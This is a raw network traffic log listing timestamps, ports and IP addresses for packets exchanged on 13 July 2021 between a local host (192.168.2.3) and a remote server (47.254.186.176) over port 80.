Jul 13, 2021 14:37:54.830851078 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.830874920 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.830897093 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.830918074 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.830924988 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.830940008 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.830964088 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.830965042 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.830982924 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.830987930 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.831043005 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.831141949 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.831167936 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.831190109 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.831209898 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.831213951 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.831232071 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.831252098 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.831315994 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.831338882 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.831357002 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.831362963 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.831386089 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.831399918 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.831598997 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.831623077 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.831644058 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.831676960 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.831677914 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.831737041 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.831801891 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.831829071 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.831847906 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.831851959 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.831875086 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.831891060 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.832041979 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.832067013 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.832087040 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.832088947 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.832110882 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.832127094 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.832138062 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.832195044 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.832339048 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.832362890 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.832385063 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.832402945 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.832407951 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.832431078 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.832443953 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.832452059 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.832477093 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.832496881 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.832499027 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.832530975 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.832549095 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.832552910 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.832596064 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.832668066 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.832691908 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.832715034 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.832736969 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.832745075 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.832799911 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.832827091 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.832849979 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.832870960 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.832892895 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.832896948 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.832916021 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.832940102 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.833148003 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.833174944 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.833198071 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.833218098 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.833220005 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.833241940 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.833254099 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.833265066 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.833276987 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.833451986 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.833477020 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.833498955 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.833498955 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.833522081 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.833542109 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.833599091 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.833622932 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.833645105 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.833666086 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.833667040 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.833708048 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.833748102 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.833770990 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.833792925 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.833815098 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.833817959 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.833837986 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.833842039 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.833877087 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.833920002 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.833942890 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.833965063 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.833986044 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.833986998 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.834039927 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.834176064 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.834203005 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.834225893 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.834247112 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.834270000 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.834273100 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.834291935 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.834306955 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.834314108 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.834328890 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.834336996 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.834378958 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.834393024 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.834414959 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.834438086 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.834460020 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.834480047 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.834481955 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.834517956 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.834548950 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.834572077 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.834594011 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.834614038 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.834633112 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.834741116 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.834984064 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.835006952 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.835031986 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.835035086 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.835056067 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.835078955 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.835133076 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.835155010 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.835179090 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.835201025 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.835227966 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.835239887 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.835264921 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.835326910 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.835345984 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.835407019 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.835429907 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.835477114 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.835513115 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.835524082 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.835541964 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.835547924 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.835568905 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.835592031 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.835639000 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.835660934 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.835684061 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.835701942 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.835745096 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.835748911 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.835813999 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.835838079 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.835875988 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.835880995 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.835908890 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.835948944 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.835969925 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.835994005 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.836033106 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.836100101 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.836122990 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.836163998 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.836236954 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.836415052 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.836436987 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.836462975 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.836467028 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.836487055 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.836494923 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.836509943 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.836533070 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.836534023 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.836555004 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.836571932 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.836575985 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.836599112 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.836625099 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.836656094 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.836678982 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.836703062 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.836724997 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.836760998 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.836793900 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.836854935 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.836877108 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.836896896 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.836925983 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.836950064 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.836987019 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.837009907 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.837074995 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.837121010 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.837124109 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.837191105 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.837213039 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.837232113 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.837234020 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.837253094 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.837312937 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.837336063 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.837376118 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.837378979 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.837404966 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.837409973 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.837479115 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.837501049 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.837518930 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.837688923 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.837713003 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.837734938 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.837758064 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.837763071 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.837784052 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.837798119 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.837807894 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.837826014 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.837830067 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.837852955 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.837873936 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.837874889 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.837914944 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.837927103 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.837953091 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.837976933 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.837989092 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.837997913 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.838020086 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.838027954 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.838042974 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.838064909 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.838087082 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.838159084 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.838186026 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.838202953 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.838207960 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.838228941 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.838253021 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.838268042 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.838275909 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.838299036 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.838305950 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.838324070 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.838340998 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.838346004 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.838372946 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.838396072 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.838398933 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.838418007 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.838439941 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.838440895 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.838464022 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.838483095 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.838485003 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.838509083 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.838531971 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.838547945 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.838556051 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.838579893 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.838584900 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.838602066 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.838622093 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.838624954 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.838680983 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.839169979 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.839262009 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.839286089 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.839308023 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.839334965 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.839356899 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.839368105 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.839440107 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.839463949 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.839485884 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.839509964 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.839510918 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.839535952 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.839545012 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.839559078 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.839581966 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.839582920 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.839606047 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.839627028 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.839651108 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.839658022 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.839673996 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.839700937 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.839720964 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.839724064 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.839745998 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.839767933 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.839787006 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.839828014 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.839903116 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.839926004 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.839981079 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.839991093 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.840007067 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.840029955 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.840054035 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.840085983 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.840148926 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.840259075 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.840281963 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.840305090 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.840342999 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.840706110 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.840729952 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.840751886 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.840760946 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.840775967 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.840809107 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.840842009 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.840866089 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.840903044 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.840912104 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.840924978 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.840948105 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.840950012 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.840975046 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:54.840996027 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:54.841064930 CEST	80	49757	47.254.186.176	192.168.2.3
